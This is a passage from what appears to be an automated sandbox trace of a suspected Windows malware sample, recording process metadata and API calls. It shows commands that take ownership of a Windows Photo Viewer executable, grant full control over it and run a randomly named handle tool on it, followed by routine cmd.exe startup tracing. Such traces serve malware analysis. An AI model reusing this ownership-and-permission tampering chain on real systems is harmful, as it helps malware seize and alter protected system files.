Files\\Windows Photo Viewer\\ImagingDevices.exe\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 867 os_tid = 0xc98 Process: id = "248" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x73afc000" os_pid = "0xcd0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "245" os_parent_pid = "0xc64" cmd_line = "takeown /F \"C:\\Program Files\\Windows Photo Viewer\\ImagingDevices.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 869 os_tid = 0xcac Thread: id = 870 os_tid = 0xc80 Process: id = "249" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x74e05000" os_pid = "0xcc8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "245" os_parent_pid = "0xc64" cmd_line = "C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"ImagingDevices.exe\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 871 os_tid = 0xca8 [0138.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x41fe94 | out: lpSystemTimeAsFileTime=0x41fe94*(dwLowDateTime=0xf5aeb520, dwHighDateTime=0x1d5d06a)) [0138.303] GetCurrentProcessId () returned 0xcc8 [0138.303] GetCurrentThreadId () returned 0xca8 [0138.303] GetTickCount () returned 0x1169fd8 [0138.303] QueryPerformanceCounter (in: lpPerformanceCount=0x41fe8c | out: lpPerformanceCount=0x41fe8c*=28025545038) returned 1 [0138.370] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0138.370] __set_app_type (_Type=0x1) [0138.370] __p__fmode () returned 0x76be31f4 [0138.370] __p__commode () returned 0x76be31fc [0138.371] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0138.371] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0138.371] GetCurrentThreadId () returned 0xca8 [0138.371] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xca8) returned 0x60 [0138.371] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0138.371] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0138.371] SetThreadUILanguage (LangId=0x0) returned 0x409 [0138.371] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0138.371] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x41fe24 | out: phkResult=0x41fe24*=0x0) returned 0x2 [0138.372] VirtualQuery (in: lpAddress=0x41fe5b, lpBuffer=0x41fdf4, dwLength=0x1c | out: lpBuffer=0x41fdf4*(BaseAddress=0x41f000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0138.372] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x41fdf4, dwLength=0x1c | out: lpBuffer=0x41fdf4*(BaseAddress=0x320000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0138.372] VirtualQuery (in: lpAddress=0x321000, lpBuffer=0x41fdf4, dwLength=0x1c | out: lpBuffer=0x41fdf4*(BaseAddress=0x321000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0138.372] VirtualQuery (in: lpAddress=0x323000, lpBuffer=0x41fdf4, dwLength=0x1c | out: lpBuffer=0x41fdf4*(BaseAddress=0x323000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0138.372] VirtualQuery (in: lpAddress=0x420000, lpBuffer=0x41fdf4, dwLength=0x1c | out: lpBuffer=0x41fdf4*(BaseAddress=0x420000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0138.372] GetConsoleOutputCP () returned 0x1b5 [0138.372] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0138.372] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0138.372] _get_osfhandle (_FileHandle=1) returned 0x80 [0138.372] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0138.372] _get_osfhandle (_FileHandle=1) returned 0x80 [0138.372] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0138.373] _get_osfhandle (_FileHandle=0) returned 0x3 [0138.373] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0138.373] GetEnvironmentStringsW () returned 0x522208* [0138.373] GetProcessHeap () returned 0x510000 [0138.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb8c) returned 0x522da0 [0138.373] FreeEnvironmentStringsW (penv=0x522208) returned 1 [0138.373] GetProcessHeap () returned 0x510000 [0138.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4) returned 0x51ec08 [0138.373] GetEnvironmentStringsW () returned 0x522208* [0138.373] GetProcessHeap () returned 0x510000 [0138.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb8c) returned 0x523938 [0138.374] FreeEnvironmentStringsW (penv=0x522208) returned 1 [0138.374] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41ed94 | out: phkResult=0x41ed94*=0x68) returned 0x0 [0138.374] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x0, lpData=0x41eda0*=0x0, lpcbData=0x41ed98*=0x1000) returned 0x2 [0138.374] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x4, lpData=0x41eda0*=0x1, lpcbData=0x41ed98*=0x4) returned 0x0 [0138.374] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x0, lpData=0x41eda0*=0x1, lpcbData=0x41ed98*=0x1000) returned 0x2 [0138.374] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x4, lpData=0x41eda0*=0x0, lpcbData=0x41ed98*=0x4) returned 0x0 [0138.374] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x4, lpData=0x41eda0*=0x40, lpcbData=0x41ed98*=0x4) returned 0x0 [0138.374] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x4, lpData=0x41eda0*=0x40, lpcbData=0x41ed98*=0x4) returned 0x0 [0138.374] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x0, lpData=0x41eda0*=0x40, lpcbData=0x41ed98*=0x1000) returned 0x2 [0138.374] RegCloseKey (hKey=0x68) returned 0x0 [0138.374] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41ed94 | out: phkResult=0x41ed94*=0x68) returned 0x0 [0138.374] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x0, lpData=0x41eda0*=0x40, lpcbData=0x41ed98*=0x1000) returned 0x2 [0138.374] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x4, lpData=0x41eda0*=0x1, lpcbData=0x41ed98*=0x4) returned 0x0 [0138.374] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x0, lpData=0x41eda0*=0x1, lpcbData=0x41ed98*=0x1000) returned 0x2 [0138.374] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x4, lpData=0x41eda0*=0x0, lpcbData=0x41ed98*=0x4) returned 0x0 [0138.374] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x4, lpData=0x41eda0*=0x9, lpcbData=0x41ed98*=0x4) returned 0x0 [0138.375] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x4, lpData=0x41eda0*=0x9, lpcbData=0x41ed98*=0x4) returned 0x0 [0138.375] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41ed9c, lpData=0x41eda0, lpcbData=0x41ed98*=0x1000 | out: lpType=0x41ed9c*=0x0, lpData=0x41eda0*=0x9, lpcbData=0x41ed98*=0x1000) returned 0x2 [0138.375] RegCloseKey (hKey=0x68) returned 0x0 [0138.375] time (in: timer=0x0 | out: timer=0x0) returned 0x5e27111c [0138.375] srand (_Seed=0x5e27111c) [0138.375] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"ImagingDevices.exe\" -nobanner" [0138.375] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"ImagingDevices.exe\" -nobanner" [0138.375] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0138.376] GetProcessHeap () returned 0x510000 [0138.376] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x210) returned 0x5244d0 [0138.376] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5244d8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0138.376] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0138.376] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0138.376] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0138.376] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0138.376] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0138.376] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0138.376] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0138.376] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0138.376] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0138.376] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0138.376] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0138.376] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0138.376] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0138.376] GetProcessHeap () returned 0x510000 [0138.376] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x54) returned 0x5246e8 [0138.376] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x41fb60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0138.377] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x41fb60, lpFilePart=0x41fb5c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41fb5c*="Desktop") returned 0x25 [0138.377] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0138.377] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x41f8dc | out: lpFindFileData=0x41f8dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf58b0080, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xf58b0080, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x522088 [0138.377] FindClose (in: hFindFile=0x522088 | out: hFindFile=0x522088) returned 1 [0138.377] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x41f8dc | out: lpFindFileData=0x41f8dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf29ace00, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xf29ace00, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x522088 [0138.377] FindClose (in: hFindFile=0x522088 | out: hFindFile=0x522088) returned 1 [0138.377] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0138.377] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x41f8dc | out: lpFindFileData=0x41f8dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x522088 [0138.377] FindClose (in: hFindFile=0x522088 | out: hFindFile=0x522088) returned 1 [0138.377] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0138.377] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0138.377] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0138.377] GetProcessHeap () returned 0x510000 [0138.377] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x522da0 | out: hHeap=0x510000) returned 1 [0138.377] GetEnvironmentStringsW () returned 0x522208* [0138.378] GetProcessHeap () returned 0x510000 [0138.378] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb8c) returned 0x522da0 [0138.378] FreeEnvironmentStringsW (penv=0x522208) returned 1 [0138.378] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0138.378] GetProcessHeap () returned 0x510000 [0138.378] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5246e8 | out: hHeap=0x510000) returned 1 [0138.378] GetProcessHeap () returned 0x510000 [0138.378] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x400e) returned 0x524f48 [0138.378] GetProcessHeap () returned 0x510000 [0138.378] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x7c) returned 0x522208 [0138.378] GetProcessHeap () returned 0x510000 [0138.378] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524f48 | out: hHeap=0x510000) returned 1 [0138.378] GetConsoleOutputCP () returned 0x1b5 [0138.378] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0138.378] GetUserDefaultLCID () returned 0x409 [0138.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0138.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x41fca0, cchData=128 | out: lpLCData="0") returned 2 [0138.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x41fca0, cchData=128 | out: lpLCData="0") returned 2 [0138.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x41fca0, cchData=128 | out: lpLCData="1") returned 2 [0138.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0138.379] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0138.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0138.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0138.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0138.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0138.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0138.380] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0138.380] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0138.380] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0138.380] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0138.381] GetProcessHeap () returned 0x510000 [0138.381] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20c) returned 0x522290 [0138.381] GetConsoleTitleW (in: lpConsoleTitle=0x522290, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0138.381] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0138.381] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0138.382] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0138.382] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0138.383] GetProcessHeap () returned 0x510000 [0138.383] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x400a) returned 0x524f48 [0138.383] GetProcessHeap () returned 0x510000 [0138.383] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524f48 | out: hHeap=0x510000) returned 1 [0138.383] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0138.383] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0138.383] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0138.384] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0138.384] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0138.384] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0138.384] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0138.384] GetProcessHeap () returned 0x510000 [0138.384] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x58) returned 0x5246e8 [0138.384] GetProcessHeap () returned 0x510000 [0138.384] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x22) returned 0x5224a8 [0138.384] GetProcessHeap () returned 0x510000 [0138.385] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x60) returned 0x5224d8 [0138.385] GetConsoleTitleW (in: lpConsoleTitle=0x41f998, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0138.386] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0138.386] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0138.387] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 